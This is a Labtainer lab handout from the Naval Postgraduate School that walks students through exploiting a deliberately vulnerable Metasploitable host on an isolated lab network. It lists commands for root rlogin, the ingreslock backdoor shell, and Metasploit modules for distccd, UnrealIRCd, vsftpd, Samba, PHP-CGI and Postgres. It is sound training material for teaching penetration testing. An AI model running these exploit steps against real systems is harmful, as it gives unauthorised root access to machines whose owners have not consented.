

Metasploit Lab Exercise

This lab was developed for the Labtainer framework by the Naval Postgraduate School, Center for Cybersecurity and Cyber Operations under National Science Foundation Award No. 1438893. This work is in the public domain, and cannot be copyrighted.

Overview

This Labtainer exercise explores the use of the metasploit tool which is installed on a Kali Linux system (attacker) and is meant to learn simple penetration skills on a purposely vulnerable metasploitable host (victim).

Note: the attacker computer is configured to have IP address 192.168.1.3 while the victim computer is 192.168.1.2

Performing the lab

The lab is started from the Labtainer working directory on your Linux host, e.g., a Linux VM. From there, issue the command:

```
labtainer metasploit
```

The resulting virtual terminal is connected to the attacker computer.

Tasks

1. Verify connectivity between attacker and victim

A simple ping from the attacker system will be sufficient.

```
ping 192.168.1.2
```

2. Get a list of vulnerable services on the victim

An 'nmap' scan of the victim will be sufficient.

```
nmap -p0-65535 192.168.1.2
```

3. Vulnerably configured rlogin service (port 513)

Remote login to the victim (with root privilege)

```
rlogin -l root 192.168.1.2
```

Display a 'root' file

```
cat /root/filetoview.txt
```

4. Vulnerable ingreslock service (port 1524)

Use telnet to access ingreslock service and obtain root privilege

```
telnet 192.168.1.2 1524
```

Display root file as above

5. Vulnerable distccd service (port 3632)

Start Metasploit console

```
sudo msfconsole
```

Note you will see a warning about a missing database, you can ignore that.

search for distccd exploit

```
search distccd
```

Use the exploit

```
use exploit/unix/misc/distcc_exec
```

View options related to exploit

```
options
```

Set the 'RHOST' option

```
set RHOST 192.168.1.2
```

Run the exploit

```
exploit
```

Note: when the exploit has succeeded, no prompt is shown but a shell is created

Display the root file as above

6. Vulnerable IRC daemon (port 6667)

Search for unreal_ircd exploit.

```
search unreal_ircd
```

Use the exploit;

```
use exploit/unix/irc/unreal_ircd_3281_backdoor
```

View and set options as necessary (RHOST option) run the exploit and display root file.

7. Vulnerable VSFTpd service (port 21)

Search for vsftpd_234

```
search vsftpd_234
```

Use the exploit

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

View and set options as necessary (RHOST option), run the exploit and display root file

8. Vulnerable Samba service (port 139)

Search for samba usermap_script

```
search usermap_script
```

Use the exploit

```
use exploit/multi/samba/usermap_script
```

View and set options as necessary (RHOST option), run the exploit and display root file

9. Vulnerable HTTP (php) service (port 80)

Search for php_cgi

```
search php_cgi
```

Use the exploit

```
use exploit/multi/http/php_cgi_arg_injection
```

View and set options as necessary (RHOST option) run the exploit

Note: when the exploit is succeeded a 'meterpreter' prompt is shown

From meterpreter prompt, drop to a shell

```
shell
```

Display the root file

10. Vulnerable Postgres service (port 5432)

Search for postgres_payload

```
search postgres_payload
```

Use the exploit

```
use exploit/linux/postgres/postgres_payload
```

View and set options as necessary (RHOST option)

run the exploit

Note: when the exploit is succeeded a 'meterpreter' prompt is shown

From meterpreter prompt, drop to a shell.

```
shell
```

Display root file

Stop the Labtainer

When the lab is completed, or you'd like to stop working for a while, run

```
stoplab
```

from the host Labtainer working directory. You can always restart the Labtainer to continue your work. When the Labtainer is stopped, a zip file is created and copied to a location displayed by the stoplab command. When the lab is completed, send that zip file to the instructor.